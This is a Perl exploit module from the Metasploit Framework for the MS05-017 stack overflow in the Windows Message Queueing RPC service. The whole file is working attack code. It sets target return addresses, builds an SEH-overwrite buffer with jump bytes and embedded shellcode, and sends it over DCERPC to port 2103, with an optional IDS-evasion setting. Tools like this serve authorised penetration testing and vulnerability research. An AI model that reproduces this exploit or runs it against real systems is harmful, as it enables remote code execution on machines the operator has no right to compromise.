
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::msmq_deleteobject_ms05_017;
use strict;

use base "Msf::Exploit";
use Pex::SMB;
use Pex::DCERPC;
use Pex::NDR;
use Pex::Text;

my $advanced = 
{
    'FragSize'    => [ 256, 'The DCERPC fragment size' ],
    'BindEvasion' => [ 0,   'IDS Evasion of the Bind request' ],
};

my $info = {
    'Name'    => 'Microsoft Message Queueing Service MSO5-017',
    'Version' => '$Revision: 1.12 $',
    'Authors' => [
        'H D Moore <hdm [at] metasploit.com>',
        'Brian Caswell <bmc [at] shmoo.com>',
    ],

    'Arch' => ['x86'],
    'OS'   => [ 'win32', 'win2000', 'winxp' ],
    'Priv' => 1,

    'AutoOpts' => { 'EXITFUNC' => 'process' },
    'UserOpts' => {
        'RHOST' => [ 1, 'ADDR', 'The target address' ],
        'RPORT' => [ 1, 'PORT', 'The target port', 2103 ],
        'HNAME' => [ 1, 'DATA', 'The netbios name of the target' ],
    },

    'Payload' => {
        'Space'    => 1024,
        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
        'Keys'     => ['+ws2ord'],

        # sub esp, 4097 + inc esp makes stack happy
        'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
    },

    'Description' => Pex::Text::Freeform(
        qq{
		This module exploits a stack overflow in the RPC interface to the Microsoft 
	Message Queueing service. The offset to the return address changes based on the
	length of the system hostname, so this must be provided via the 'HNAME' option. 
	Much thanks to snort.org and Jean-Baptiste Marchand's excellent MSRPC website.
}
    ),

    'Refs' => [
        [ 'OSVDB', '15458' ],
        [ 'CVE',   '2005-0059' ],
        [ 'MSB',   'MS05-017' ],
        [ 'MIL',   '41' ],
    ],

    'DefaultTarget' => 0,
    'Targets'       => [
        [
            'Windows 2000 ALL / Windows XP SP0-SP1 (English)', 0x004014e9,
            0x01001209
        ],    # mqsvc.exe
    ],

    'Keys' => ['msmq'],

    'DisclosureDate' => 'Apr 12 2005',
};

sub new {
    my $class = shift;
    my $self  =
      $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
    return ($self);
}

# MSMQ supports three forms of queue names, the two we can use are
# the IP address and the hostname. If we use the IP address via the
# TCP: format, the offset to the SEH frame will change depending on
# the length of the real hostname. For this reason, we force the user
# to supply us with the actual hostname.

# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName

sub Build {
    my ($self)      = @_;
    my $target_name = $self->GetVar('HNAME');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

    my $target = $self->Targets->[$target_idx];

    my $name = "OS:$target_name";
    my $hlen = length($target_name) * 2;

    my $quepath = Pex::SMB->NTUnicode("$name\\PRIVATE\$\\");
    my $pattern = Pex::Text::EnglishText(4000);

    # Windows 2000 SEH offset goes first
    substr( $pattern, 332 + $hlen + 0, 4, pack( 'V', $target->[1] ) );
    substr( $pattern, 332 + $hlen - 4, 2, "\xeb\x22" );

    # Windows XP SEH offset goes second
    substr( $pattern, 368 + $hlen + 0, 4, pack( 'V', $target->[2] ) );
    substr( $pattern, 368 + $hlen - 4, 2, "\xeb\x06" );

    # Finally the shellcode on the end
    substr( $pattern, 368 + $hlen + 4, length($shellcode), $shellcode );

    if ( $self->GetVar('DEBUGME') ) {
        $self->PrintLine("[*] Switching to the diagnostics request pattern");
        $pattern = Pex::Text::PatternCreate(4000);
    }

    # Append the path to the location and null terminate it
    $quepath .= $pattern . "\x00\x00";

    return $quepath;
}

sub Exploit {
    my $self        = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $uuid    = 'fdb3a030-065f-11d1-bb9b-00a024ea5525';
    my $version = '1.0';

    my $handle =
      Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_ip_tcp', $target_host,
        $target_port );
    my $dce = Pex::DCERPC->new(
        'handle'      => $handle,
        'fragsize'    => $self->GetVar('FragSize'),
        'bindevasion' => $self->GetVar('BindEvasion'),
    );

    if ( !$dce ) {
        $self->PrintLine("[*] Could not bind to $handle");
        return;
    }

    my $quepath = $self->Build();
    my $stub    =
        Pex::NDR::Long( 1, 1, 1, 3, 3, 2 )
      . Pex::NDR::UnicodeConformantVaryingStringPreBuilt($quepath);

    my @response = $dce->request( $handle, 9, $stub );
    if ( $dce->{'request'}->{'StubData'} ) {
        if ( $dce->{'request'}->{'StubData'} eq "\x20\x00\x0e\xc0" ) {
            $self->PrintLine(
                '[*] Request rejected, possibly due to invalid hostname');
            return;
        }
        elsif ($dce->{'request'}->{'StubData'} eq "\x1e\x00\x0e\xc0"
            || $dce->{'request'}->{'StubData'} eq "\x7a\x00\x07\x80" )
        {
            $self->PrintLine(
                '[*] The target system does not appear to be vulnerable');
            return;
        }
    }
    else {
        foreach my $line (@response) {
            $self->PrintLine( '[*] ' . $line );
        }
    }

    # Wait a couple seconds for the handler to kick in before printing an error
    select( undef, undef, undef, 2 );

    $self->PrintLine(
        '[*] No response received, possible Windows XP SP2 target');
    return;
}

1;
